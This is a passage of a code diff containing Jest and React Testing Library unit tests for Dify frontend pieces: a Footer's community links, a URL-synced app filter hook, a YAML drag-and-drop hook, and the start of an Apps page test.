||||
|
||||
describe('Links', () => {
|
||||
it('should render GitHub link with correct href', () => {
|
||||
const { container } = render(<Footer />)
|
||||
const githubLink = container.querySelector('a[href="https://github.com/langgenius/dify"]')
|
||||
expect(githubLink).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render Discord link with correct href', () => {
|
||||
const { container } = render(<Footer />)
|
||||
const discordLink = container.querySelector('a[href="https://discord.gg/FngNHpbcY7"]')
|
||||
expect(discordLink).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render Forum link with correct href', () => {
|
||||
const { container } = render(<Footer />)
|
||||
const forumLink = container.querySelector('a[href="https://forum.dify.ai"]')
|
||||
expect(forumLink).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should have 3 community links', () => {
|
||||
render(<Footer />)
|
||||
const links = screen.getAllByRole('link')
|
||||
expect(links).toHaveLength(3)
|
||||
})
|
||||
|
||||
it('should open links in new tab', () => {
|
||||
render(<Footer />)
|
||||
const links = screen.getAllByRole('link')
|
||||
links.forEach((link) => {
|
||||
expect(link).toHaveAttribute('target', '_blank')
|
||||
expect(link).toHaveAttribute('rel', 'noopener noreferrer')
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
describe('Styling', () => {
|
||||
it('should have correct footer styling', () => {
|
||||
render(<Footer />)
|
||||
const footer = screen.getByRole('contentinfo')
|
||||
expect(footer).toHaveClass('relative', 'shrink-0', 'grow-0')
|
||||
})
|
||||
|
||||
it('should have gradient text styling on heading', () => {
|
||||
render(<Footer />)
|
||||
const heading = screen.getByText('app.join')
|
||||
expect(heading).toHaveClass('text-gradient')
|
||||
})
|
||||
})
|
||||
|
||||
describe('Icons', () => {
|
||||
it('should render icons within links', () => {
|
||||
const { container } = render(<Footer />)
|
||||
const svgElements = container.querySelectorAll('svg')
|
||||
expect(svgElements.length).toBeGreaterThanOrEqual(3)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Edge Cases', () => {
|
||||
it('should handle multiple renders without issues', () => {
|
||||
const { rerender } = render(<Footer />)
|
||||
expect(screen.getByRole('contentinfo')).toBeInTheDocument()
|
||||
|
||||
rerender(<Footer />)
|
||||
expect(screen.getByRole('contentinfo')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,363 @@
|
|||
/**
|
||||
* Test suite for useAppsQueryState hook
|
||||
*
|
||||
* This hook manages app filtering state through URL search parameters, enabling:
|
||||
* - Bookmarkable filter states (users can share URLs with specific filters active)
|
||||
* - Browser history integration (back/forward buttons work with filters)
|
||||
* - Multiple filter types: tagIDs, keywords, isCreatedByMe
|
||||
*
|
||||
* The hook syncs local filter state with URL search parameters, making filter
|
||||
* navigation persistent and shareable across sessions.
|
||||
*/
|
||||
import { act, renderHook } from '@testing-library/react'
|
||||
|
||||
// Mock Next.js navigation hooks
|
||||
const mockPush = jest.fn()
|
||||
const mockPathname = '/apps'
|
||||
let mockSearchParams = new URLSearchParams()
|
||||
|
||||
jest.mock('next/navigation', () => ({
|
||||
usePathname: jest.fn(() => mockPathname),
|
||||
useRouter: jest.fn(() => ({
|
||||
push: mockPush,
|
||||
})),
|
||||
useSearchParams: jest.fn(() => mockSearchParams),
|
||||
}))
|
||||
|
||||
// Import the hook after mocks are set up
|
||||
import useAppsQueryState from './use-apps-query-state'
|
||||
|
||||
describe('useAppsQueryState', () => {
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
mockSearchParams = new URLSearchParams()
|
||||
})
|
||||
|
||||
describe('Basic functionality', () => {
|
||||
it('should return query object and setQuery function', () => {
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
expect(result.current.query).toBeDefined()
|
||||
expect(typeof result.current.setQuery).toBe('function')
|
||||
})
|
||||
|
||||
it('should initialize with empty query when no search params exist', () => {
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
expect(result.current.query.tagIDs).toBeUndefined()
|
||||
expect(result.current.query.keywords).toBeUndefined()
|
||||
expect(result.current.query.isCreatedByMe).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Parsing search params', () => {
|
||||
it('should parse tagIDs from URL', () => {
|
||||
mockSearchParams.set('tagIDs', 'tag1;tag2;tag3')
|
||||
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
expect(result.current.query.tagIDs).toEqual(['tag1', 'tag2', 'tag3'])
|
||||
})
|
||||
|
||||
it('should parse single tagID from URL', () => {
|
||||
mockSearchParams.set('tagIDs', 'single-tag')
|
||||
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
expect(result.current.query.tagIDs).toEqual(['single-tag'])
|
||||
})
|
||||
|
||||
it('should parse keywords from URL', () => {
|
||||
mockSearchParams.set('keywords', 'search term')
|
||||
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
expect(result.current.query.keywords).toBe('search term')
|
||||
})
|
||||
|
||||
it('should parse isCreatedByMe as true from URL', () => {
|
||||
mockSearchParams.set('isCreatedByMe', 'true')
|
||||
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
expect(result.current.query.isCreatedByMe).toBe(true)
|
||||
})
|
||||
|
||||
it('should parse isCreatedByMe as false for other values', () => {
|
||||
mockSearchParams.set('isCreatedByMe', 'false')
|
||||
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
expect(result.current.query.isCreatedByMe).toBe(false)
|
||||
})
|
||||
|
||||
it('should parse all params together', () => {
|
||||
mockSearchParams.set('tagIDs', 'tag1;tag2')
|
||||
mockSearchParams.set('keywords', 'test')
|
||||
mockSearchParams.set('isCreatedByMe', 'true')
|
||||
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
expect(result.current.query.tagIDs).toEqual(['tag1', 'tag2'])
|
||||
expect(result.current.query.keywords).toBe('test')
|
||||
expect(result.current.query.isCreatedByMe).toBe(true)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Updating query state', () => {
|
||||
it('should update keywords via setQuery', () => {
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
act(() => {
|
||||
result.current.setQuery({ keywords: 'new search' })
|
||||
})
|
||||
|
||||
expect(result.current.query.keywords).toBe('new search')
|
||||
})
|
||||
|
||||
it('should update tagIDs via setQuery', () => {
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
act(() => {
|
||||
result.current.setQuery({ tagIDs: ['tag1', 'tag2'] })
|
||||
})
|
||||
|
||||
expect(result.current.query.tagIDs).toEqual(['tag1', 'tag2'])
|
||||
})
|
||||
|
||||
it('should update isCreatedByMe via setQuery', () => {
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
act(() => {
|
||||
result.current.setQuery({ isCreatedByMe: true })
|
||||
})
|
||||
|
||||
expect(result.current.query.isCreatedByMe).toBe(true)
|
||||
})
|
||||
|
||||
it('should support partial updates via callback', () => {
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
act(() => {
|
||||
result.current.setQuery({ keywords: 'initial' })
|
||||
})
|
||||
|
||||
act(() => {
|
||||
result.current.setQuery(prev => ({ ...prev, isCreatedByMe: true }))
|
||||
})
|
||||
|
||||
expect(result.current.query.keywords).toBe('initial')
|
||||
expect(result.current.query.isCreatedByMe).toBe(true)
|
||||
})
|
||||
})
|
||||
|
||||
describe('URL synchronization', () => {
|
||||
it('should sync keywords to URL', async () => {
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
act(() => {
|
||||
result.current.setQuery({ keywords: 'search' })
|
||||
})
|
||||
|
||||
// Wait for useEffect to run
|
||||
await act(async () => {
|
||||
await new Promise(resolve => setTimeout(resolve, 0))
|
||||
})
|
||||
|
||||
expect(mockPush).toHaveBeenCalledWith(
|
||||
expect.stringContaining('keywords=search'),
|
||||
{ scroll: false },
|
||||
)
|
||||
})
|
||||
|
||||
it('should sync tagIDs to URL with semicolon separator', async () => {
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
act(() => {
|
||||
result.current.setQuery({ tagIDs: ['tag1', 'tag2'] })
|
||||
})
|
||||
|
||||
await act(async () => {
|
||||
await new Promise(resolve => setTimeout(resolve, 0))
|
||||
})
|
||||
|
||||
expect(mockPush).toHaveBeenCalledWith(
|
||||
expect.stringContaining('tagIDs=tag1%3Btag2'),
|
||||
{ scroll: false },
|
||||
)
|
||||
})
|
||||
|
||||
it('should sync isCreatedByMe to URL', async () => {
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
act(() => {
|
||||
result.current.setQuery({ isCreatedByMe: true })
|
||||
})
|
||||
|
||||
await act(async () => {
|
||||
await new Promise(resolve => setTimeout(resolve, 0))
|
||||
})
|
||||
|
||||
expect(mockPush).toHaveBeenCalledWith(
|
||||
expect.stringContaining('isCreatedByMe=true'),
|
||||
{ scroll: false },
|
||||
)
|
||||
})
|
||||
|
||||
it('should remove keywords from URL when empty', async () => {
|
||||
mockSearchParams.set('keywords', 'existing')
|
||||
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
act(() => {
|
||||
result.current.setQuery({ keywords: '' })
|
||||
})
|
||||
|
||||
await act(async () => {
|
||||
await new Promise(resolve => setTimeout(resolve, 0))
|
||||
})
|
||||
|
||||
// Should be called without keywords param
|
||||
expect(mockPush).toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('should remove tagIDs from URL when empty array', async () => {
|
||||
mockSearchParams.set('tagIDs', 'tag1;tag2')
|
||||
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
act(() => {
|
||||
result.current.setQuery({ tagIDs: [] })
|
||||
})
|
||||
|
||||
await act(async () => {
|
||||
await new Promise(resolve => setTimeout(resolve, 0))
|
||||
})
|
||||
|
||||
expect(mockPush).toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('should remove isCreatedByMe from URL when false', async () => {
|
||||
mockSearchParams.set('isCreatedByMe', 'true')
|
||||
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
act(() => {
|
||||
result.current.setQuery({ isCreatedByMe: false })
|
||||
})
|
||||
|
||||
await act(async () => {
|
||||
await new Promise(resolve => setTimeout(resolve, 0))
|
||||
})
|
||||
|
||||
expect(mockPush).toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Edge cases', () => {
|
||||
it('should handle empty tagIDs string in URL', () => {
|
||||
// NOTE: This test documents current behavior where ''.split(';') returns ['']
|
||||
// This could potentially cause filtering issues as it's treated as a tag with empty name
|
||||
// rather than absence of tags. Consider updating parseParams if this is problematic.
|
||||
mockSearchParams.set('tagIDs', '')
|
||||
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
expect(result.current.query.tagIDs).toEqual([''])
|
||||
})
|
||||
|
||||
it('should handle empty keywords', () => {
|
||||
mockSearchParams.set('keywords', '')
|
||||
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
expect(result.current.query.keywords).toBeUndefined()
|
||||
})
|
||||
|
||||
it('should handle undefined tagIDs', () => {
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
act(() => {
|
||||
result.current.setQuery({ tagIDs: undefined })
|
||||
})
|
||||
|
||||
expect(result.current.query.tagIDs).toBeUndefined()
|
||||
})
|
||||
|
||||
it('should handle special characters in keywords', () => {
|
||||
// Use URLSearchParams constructor to properly simulate URL decoding behavior
|
||||
// URLSearchParams.get() decodes URL-encoded characters
|
||||
mockSearchParams = new URLSearchParams('keywords=test%20with%20spaces')
|
||||
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
expect(result.current.query.keywords).toBe('test with spaces')
|
||||
})
|
||||
})
|
||||
|
||||
describe('Memoization', () => {
|
||||
it('should return memoized object reference when query unchanged', () => {
|
||||
const { result, rerender } = renderHook(() => useAppsQueryState())
|
||||
|
||||
const firstResult = result.current
|
||||
rerender()
|
||||
const secondResult = result.current
|
||||
|
||||
expect(firstResult.query).toBe(secondResult.query)
|
||||
})
|
||||
|
||||
it('should return new object reference when query changes', () => {
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
const firstQuery = result.current.query
|
||||
|
||||
act(() => {
|
||||
result.current.setQuery({ keywords: 'changed' })
|
||||
})
|
||||
|
||||
expect(result.current.query).not.toBe(firstQuery)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Integration scenarios', () => {
|
||||
it('should handle sequential updates', async () => {
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
act(() => {
|
||||
result.current.setQuery({ keywords: 'first' })
|
||||
})
|
||||
|
||||
act(() => {
|
||||
result.current.setQuery(prev => ({ ...prev, tagIDs: ['tag1'] }))
|
||||
})
|
||||
|
||||
act(() => {
|
||||
result.current.setQuery(prev => ({ ...prev, isCreatedByMe: true }))
|
||||
})
|
||||
|
||||
expect(result.current.query.keywords).toBe('first')
|
||||
expect(result.current.query.tagIDs).toEqual(['tag1'])
|
||||
expect(result.current.query.isCreatedByMe).toBe(true)
|
||||
})
|
||||
|
||||
it('should clear all filters', () => {
|
||||
mockSearchParams.set('tagIDs', 'tag1;tag2')
|
||||
mockSearchParams.set('keywords', 'search')
|
||||
mockSearchParams.set('isCreatedByMe', 'true')
|
||||
|
||||
const { result } = renderHook(() => useAppsQueryState())
|
||||
|
||||
act(() => {
|
||||
result.current.setQuery({
|
||||
tagIDs: undefined,
|
||||
keywords: undefined,
|
||||
isCreatedByMe: false,
|
||||
})
|
||||
})
|
||||
|
||||
expect(result.current.query.tagIDs).toBeUndefined()
|
||||
expect(result.current.query.keywords).toBeUndefined()
|
||||
expect(result.current.query.isCreatedByMe).toBe(false)
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,493 @@
|
|||
/**
|
||||
* Test suite for useDSLDragDrop hook
|
||||
*
|
||||
* This hook provides drag-and-drop functionality for DSL files, enabling:
|
||||
* - File drag detection with visual feedback (dragging state)
|
||||
* - YAML/YML file filtering (only accepts .yaml and .yml files)
|
||||
* - Enable/disable toggle for conditional drag-and-drop
|
||||
* - Cleanup on unmount (removes event listeners)
|
||||
*/
|
||||
import { act, renderHook } from '@testing-library/react'
|
||||
import { useDSLDragDrop } from './use-dsl-drag-drop'
|
||||
|
||||
describe('useDSLDragDrop', () => {
|
||||
let container: HTMLDivElement
|
||||
let mockOnDSLFileDropped: jest.Mock
|
||||
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
container = document.createElement('div')
|
||||
document.body.appendChild(container)
|
||||
mockOnDSLFileDropped = jest.fn()
|
||||
})
|
||||
|
||||
afterEach(() => {
|
||||
document.body.removeChild(container)
|
||||
})
|
||||
|
||||
// Helper to create drag events
|
||||
const createDragEvent = (type: string, files: File[] = []) => {
|
||||
const dataTransfer = {
|
||||
types: files.length > 0 ? ['Files'] : [],
|
||||
files,
|
||||
}
|
||||
|
||||
const event = new Event(type, { bubbles: true, cancelable: true }) as DragEvent
|
||||
Object.defineProperty(event, 'dataTransfer', {
|
||||
value: dataTransfer,
|
||||
writable: false,
|
||||
})
|
||||
Object.defineProperty(event, 'preventDefault', {
|
||||
value: jest.fn(),
|
||||
writable: false,
|
||||
})
|
||||
Object.defineProperty(event, 'stopPropagation', {
|
||||
value: jest.fn(),
|
||||
writable: false,
|
||||
})
|
||||
|
||||
return event
|
||||
}
|
||||
|
||||
// Helper to create a mock file
|
||||
const createMockFile = (name: string) => {
|
||||
return new File(['content'], name, { type: 'application/x-yaml' })
|
||||
}
|
||||
|
||||
describe('Basic functionality', () => {
|
||||
it('should return dragging state', () => {
|
||||
const containerRef = { current: container }
|
||||
const { result } = renderHook(() =>
|
||||
useDSLDragDrop({
|
||||
onDSLFileDropped: mockOnDSLFileDropped,
|
||||
containerRef,
|
||||
}),
|
||||
)
|
||||
|
||||
expect(result.current.dragging).toBe(false)
|
||||
})
|
||||
|
||||
it('should initialize with dragging as false', () => {
|
||||
const containerRef = { current: container }
|
||||
const { result } = renderHook(() =>
|
||||
useDSLDragDrop({
|
||||
onDSLFileDropped: mockOnDSLFileDropped,
|
||||
containerRef,
|
||||
}),
|
||||
)
|
||||
|
||||
expect(result.current.dragging).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Drag events', () => {
|
||||
it('should set dragging to true on dragenter with files', () => {
|
||||
const containerRef = { current: container }
|
||||
const { result } = renderHook(() =>
|
||||
useDSLDragDrop({
|
||||
onDSLFileDropped: mockOnDSLFileDropped,
|
||||
containerRef,
|
||||
}),
|
||||
)
|
||||
|
||||
const file = createMockFile('test.yaml')
|
||||
const event = createDragEvent('dragenter', [file])
|
||||
|
||||
act(() => {
|
||||
container.dispatchEvent(event)
|
||||
})
|
||||
|
||||
expect(result.current.dragging).toBe(true)
|
||||
})
|
||||
|
||||
it('should not set dragging on dragenter without files', () => {
|
||||
const containerRef = { current: container }
|
||||
const { result } = renderHook(() =>
|
||||
useDSLDragDrop({
|
||||
onDSLFileDropped: mockOnDSLFileDropped,
|
||||
containerRef,
|
||||
}),
|
||||
)
|
||||
|
||||
const event = createDragEvent('dragenter', [])
|
||||
|
||||
act(() => {
|
||||
container.dispatchEvent(event)
|
||||
})
|
||||
|
||||
expect(result.current.dragging).toBe(false)
|
||||
})
|
||||
|
||||
it('should handle dragover event', () => {
|
||||
const containerRef = { current: container }
|
||||
renderHook(() =>
|
||||
useDSLDragDrop({
|
||||
onDSLFileDropped: mockOnDSLFileDropped,
|
||||
containerRef,
|
||||
}),
|
||||
)
|
||||
|
||||
const event = createDragEvent('dragover')
|
||||
|
||||
act(() => {
|
||||
container.dispatchEvent(event)
|
||||
})
|
||||
|
||||
expect(event.preventDefault).toHaveBeenCalled()
|
||||
expect(event.stopPropagation).toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('should set dragging to false on dragleave when leaving container', () => {
|
||||
const containerRef = { current: container }
|
||||
const { result } = renderHook(() =>
|
||||
useDSLDragDrop({
|
||||
onDSLFileDropped: mockOnDSLFileDropped,
|
||||
containerRef,
|
||||
}),
|
||||
)
|
||||
|
||||
// First, enter with files
|
||||
const enterEvent = createDragEvent('dragenter', [createMockFile('test.yaml')])
|
||||
act(() => {
|
||||
container.dispatchEvent(enterEvent)
|
||||
})
|
||||
expect(result.current.dragging).toBe(true)
|
||||
|
||||
// Then leave with null relatedTarget (leaving container)
|
||||
const leaveEvent = createDragEvent('dragleave')
|
||||
Object.defineProperty(leaveEvent, 'relatedTarget', {
|
||||
value: null,
|
||||
writable: false,
|
||||
})
|
||||
|
||||
act(() => {
|
||||
container.dispatchEvent(leaveEvent)
|
||||
})
|
||||
|
||||
expect(result.current.dragging).toBe(false)
|
||||
})
|
||||
|
||||
it('should not set dragging to false on dragleave when within container', () => {
|
||||
const containerRef = { current: container }
|
||||
const childElement = document.createElement('div')
|
||||
container.appendChild(childElement)
|
||||
|
||||
const { result } = renderHook(() =>
|
||||
useDSLDragDrop({
|
||||
onDSLFileDropped: mockOnDSLFileDropped,
|
||||
containerRef,
|
||||
}),
|
||||
)
|
||||
|
||||
// First, enter with files
|
||||
const enterEvent = createDragEvent('dragenter', [createMockFile('test.yaml')])
|
||||
act(() => {
|
||||
container.dispatchEvent(enterEvent)
|
||||
})
|
||||
expect(result.current.dragging).toBe(true)
|
||||
|
||||
// Then leave but to a child element
|
||||
const leaveEvent = createDragEvent('dragleave')
|
||||
Object.defineProperty(leaveEvent, 'relatedTarget', {
|
||||
value: childElement,
|
||||
writable: false,
|
||||
})
|
||||
|
||||
act(() => {
|
||||
container.dispatchEvent(leaveEvent)
|
||||
})
|
||||
|
||||
expect(result.current.dragging).toBe(true)
|
||||
|
||||
container.removeChild(childElement)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Drop functionality', () => {
|
||||
it('should call onDSLFileDropped for .yaml file', () => {
|
||||
const containerRef = { current: container }
|
||||
renderHook(() =>
|
||||
useDSLDragDrop({
|
||||
onDSLFileDropped: mockOnDSLFileDropped,
|
||||
containerRef,
|
||||
}),
|
||||
)
|
||||
|
||||
const file = createMockFile('test.yaml')
|
||||
const dropEvent = createDragEvent('drop', [file])
|
||||
|
||||
act(() => {
|
||||
container.dispatchEvent(dropEvent)
|
||||
})
|
||||
|
||||
expect(mockOnDSLFileDropped).toHaveBeenCalledWith(file)
|
||||
})
|
||||
|
||||
it('should call onDSLFileDropped for .yml file', () => {
|
||||
const containerRef = { current: container }
|
||||
renderHook(() =>
|
||||
useDSLDragDrop({
|
||||
onDSLFileDropped: mockOnDSLFileDropped,
|
||||
containerRef,
|
||||
}),
|
||||
)
|
||||
|
||||
const file = createMockFile('test.yml')
|
||||
const dropEvent = createDragEvent('drop', [file])
|
||||
|
||||
act(() => {
|
||||
container.dispatchEvent(dropEvent)
|
||||
})
|
||||
|
||||
expect(mockOnDSLFileDropped).toHaveBeenCalledWith(file)
|
||||
})
|
||||
|
||||
it('should call onDSLFileDropped for uppercase .YAML file', () => {
|
||||
const containerRef = { current: container }
|
||||
renderHook(() =>
|
||||
useDSLDragDrop({
|
||||
onDSLFileDropped: mockOnDSLFileDropped,
|
||||
containerRef,
|
||||
}),
|
||||
)
|
||||
|
||||
const file = createMockFile('test.YAML')
|
||||
const dropEvent = createDragEvent('drop', [file])
|
||||
|
||||
act(() => {
|
||||
container.dispatchEvent(dropEvent)
|
||||
})
|
||||
|
||||
expect(mockOnDSLFileDropped).toHaveBeenCalledWith(file)
|
||||
})
|
||||
|
||||
it('should not call onDSLFileDropped for non-yaml file', () => {
|
||||
const containerRef = { current: container }
|
||||
renderHook(() =>
|
||||
useDSLDragDrop({
|
||||
onDSLFileDropped: mockOnDSLFileDropped,
|
||||
containerRef,
|
||||
}),
|
||||
)
|
||||
|
||||
const file = createMockFile('test.json')
|
||||
const dropEvent = createDragEvent('drop', [file])
|
||||
|
||||
act(() => {
|
||||
container.dispatchEvent(dropEvent)
|
||||
})
|
||||
|
||||
expect(mockOnDSLFileDropped).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('should set dragging to false on drop', () => {
|
||||
const containerRef = { current: container }
|
||||
const { result } = renderHook(() =>
|
||||
useDSLDragDrop({
|
||||
onDSLFileDropped: mockOnDSLFileDropped,
|
||||
containerRef,
|
||||
}),
|
||||
)
|
||||
|
||||
// First, enter with files
|
||||
const enterEvent = createDragEvent('dragenter', [createMockFile('test.yaml')])
|
||||
act(() => {
|
||||
container.dispatchEvent(enterEvent)
|
||||
})
|
||||
expect(result.current.dragging).toBe(true)
|
||||
|
||||
// Then drop
|
||||
const dropEvent = createDragEvent('drop', [createMockFile('test.yaml')])
|
||||
act(() => {
|
||||
container.dispatchEvent(dropEvent)
|
||||
})
|
||||
|
||||
expect(result.current.dragging).toBe(false)
|
||||
})
|
||||
|
||||
it('should handle drop with no dataTransfer', () => {
|
||||
const containerRef = { current: container }
|
||||
renderHook(() =>
|
||||
useDSLDragDrop({
|
||||
onDSLFileDropped: mockOnDSLFileDropped,
|
||||
containerRef,
|
||||
}),
|
||||
)
|
||||
|
||||
const event = new Event('drop', { bubbles: true, cancelable: true }) as DragEvent
|
||||
Object.defineProperty(event, 'dataTransfer', {
|
||||
value: null,
|
||||
writable: false,
|
||||
})
|
||||
Object.defineProperty(event, 'preventDefault', {
|
||||
value: jest.fn(),
|
||||
writable: false,
|
||||
})
|
||||
Object.defineProperty(event, 'stopPropagation', {
|
||||
value: jest.fn(),
|
||||
writable: false,
|
||||
})
|
||||
|
||||
act(() => {
|
||||
container.dispatchEvent(event)
|
||||
})
|
||||
|
||||
expect(mockOnDSLFileDropped).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('should handle drop with empty files array', () => {
|
||||
const containerRef = { current: container }
|
||||
renderHook(() =>
|
||||
useDSLDragDrop({
|
||||
onDSLFileDropped: mockOnDSLFileDropped,
|
||||
containerRef,
|
||||
}),
|
||||
)
|
||||
|
||||
const dropEvent = createDragEvent('drop', [])
|
||||
|
||||
act(() => {
|
||||
container.dispatchEvent(dropEvent)
|
||||
})
|
||||
|
||||
expect(mockOnDSLFileDropped).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('should only process the first file when multiple files are dropped', () => {
|
||||
const containerRef = { current: container }
|
||||
renderHook(() =>
|
||||
useDSLDragDrop({
|
||||
onDSLFileDropped: mockOnDSLFileDropped,
|
||||
containerRef,
|
||||
}),
|
||||
)
|
||||
|
||||
const file1 = createMockFile('test1.yaml')
|
||||
const file2 = createMockFile('test2.yaml')
|
||||
const dropEvent = createDragEvent('drop', [file1, file2])
|
||||
|
||||
act(() => {
|
||||
container.dispatchEvent(dropEvent)
|
||||
})
|
||||
|
||||
expect(mockOnDSLFileDropped).toHaveBeenCalledTimes(1)
|
||||
expect(mockOnDSLFileDropped).toHaveBeenCalledWith(file1)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Enabled prop', () => {
|
||||
it('should not add event listeners when enabled is false', () => {
|
||||
const containerRef = { current: container }
|
||||
const { result } = renderHook(() =>
|
||||
useDSLDragDrop({
|
||||
onDSLFileDropped: mockOnDSLFileDropped,
|
||||
containerRef,
|
||||
enabled: false,
|
||||
}),
|
||||
)
|
||||
|
||||
const file = createMockFile('test.yaml')
|
||||
const enterEvent = createDragEvent('dragenter', [file])
|
||||
|
||||
act(() => {
|
||||
container.dispatchEvent(enterEvent)
|
||||
})
|
||||
|
||||
expect(result.current.dragging).toBe(false)
|
||||
})
|
||||
|
||||
it('should return dragging as false when enabled is false even if state is true', () => {
|
||||
const containerRef = { current: container }
|
||||
const { result, rerender } = renderHook(
|
||||
({ enabled }) =>
|
||||
useDSLDragDrop({
|
||||
onDSLFileDropped: mockOnDSLFileDropped,
|
||||
containerRef,
|
||||
enabled,
|
||||
}),
|
||||
{ initialProps: { enabled: true } },
|
||||
)
|
||||
|
||||
// Set dragging state
|
||||
const enterEvent = createDragEvent('dragenter', [createMockFile('test.yaml')])
|
||||
act(() => {
|
||||
container.dispatchEvent(enterEvent)
|
||||
})
|
||||
expect(result.current.dragging).toBe(true)
|
||||
|
||||
// Disable the hook
|
||||
rerender({ enabled: false })
|
||||
expect(result.current.dragging).toBe(false)
|
||||
})
|
||||
|
||||
it('should default enabled to true', () => {
|
||||
const containerRef = { current: container }
|
||||
const { result } = renderHook(() =>
|
||||
useDSLDragDrop({
|
||||
onDSLFileDropped: mockOnDSLFileDropped,
|
||||
containerRef,
|
||||
}),
|
||||
)
|
||||
|
||||
const enterEvent = createDragEvent('dragenter', [createMockFile('test.yaml')])
|
||||
|
||||
act(() => {
|
||||
container.dispatchEvent(enterEvent)
|
||||
})
|
||||
|
||||
expect(result.current.dragging).toBe(true)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Cleanup', () => {
|
||||
it('should remove event listeners on unmount', () => {
|
||||
const containerRef = { current: container }
|
||||
const removeEventListenerSpy = jest.spyOn(container, 'removeEventListener')
|
||||
|
||||
const { unmount } = renderHook(() =>
|
||||
useDSLDragDrop({
|
||||
onDSLFileDropped: mockOnDSLFileDropped,
|
||||
containerRef,
|
||||
}),
|
||||
)
|
||||
|
||||
unmount()
|
||||
|
||||
expect(removeEventListenerSpy).toHaveBeenCalledWith('dragenter', expect.any(Function))
|
||||
expect(removeEventListenerSpy).toHaveBeenCalledWith('dragover', expect.any(Function))
|
||||
expect(removeEventListenerSpy).toHaveBeenCalledWith('dragleave', expect.any(Function))
|
||||
expect(removeEventListenerSpy).toHaveBeenCalledWith('drop', expect.any(Function))
|
||||
|
||||
removeEventListenerSpy.mockRestore()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Edge cases', () => {
|
||||
it('should handle null containerRef', () => {
|
||||
const containerRef = { current: null }
|
||||
const { result } = renderHook(() =>
|
||||
useDSLDragDrop({
|
||||
onDSLFileDropped: mockOnDSLFileDropped,
|
||||
containerRef,
|
||||
}),
|
||||
)
|
||||
|
||||
expect(result.current.dragging).toBe(false)
|
||||
})
|
||||
|
||||
it('should handle containerRef changing to null', () => {
|
||||
const containerRef = { current: container as HTMLDivElement | null }
|
||||
const { result, rerender } = renderHook(() =>
|
||||
useDSLDragDrop({
|
||||
onDSLFileDropped: mockOnDSLFileDropped,
|
||||
containerRef,
|
||||
}),
|
||||
)
|
||||
|
||||
containerRef.current = null
|
||||
rerender()
|
||||
|
||||
expect(result.current.dragging).toBe(false)
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,113 @@
|
|||
import React from 'react'
|
||||
import { render, screen } from '@testing-library/react'
|
||||
|
||||
// Mock react-i18next - return key as per testing skills
|
||||
jest.mock('react-i18next', () => ({
|
||||
useTranslation: () => ({
|
||||
t: (key: string) => key,
|
||||
}),
|
||||
}))
|
||||
|
||||
// Track mock calls
|
||||
let documentTitleCalls: string[] = []
|
||||
let educationInitCalls: number = 0
|
||||
|
||||
// Mock useDocumentTitle hook
|
||||
jest.mock('@/hooks/use-document-title', () => ({
|
||||
__esModule: true,
|
||||
default: (title: string) => {
|
||||
documentTitleCalls.push(title)
|
||||
},
|
||||
}))
|
||||
|
||||
// Mock useEducationInit hook
|
||||
jest.mock('@/app/education-apply/hooks', () => ({
|
||||
useEducationInit: () => {
|
||||
educationInitCalls++
|
||||
},
|
||||
}))
|
||||
|
||||
// Mock List component
|
||||
jest.mock('./list', () => ({
|
||||
__esModule: true,
|
||||
default: () => {
|
||||
const React = require('react')
|
||||
return React.createElement('div', { 'data-testid': 'apps-list' }, 'Apps List')
|
||||
},
|
||||
}))
|
||||
|
||||
// Import after mocks
|
||||
import Apps from './index'
|
||||
|
||||
describe('Apps', () => {
|
||||
beforeEach(() => {
|
||||
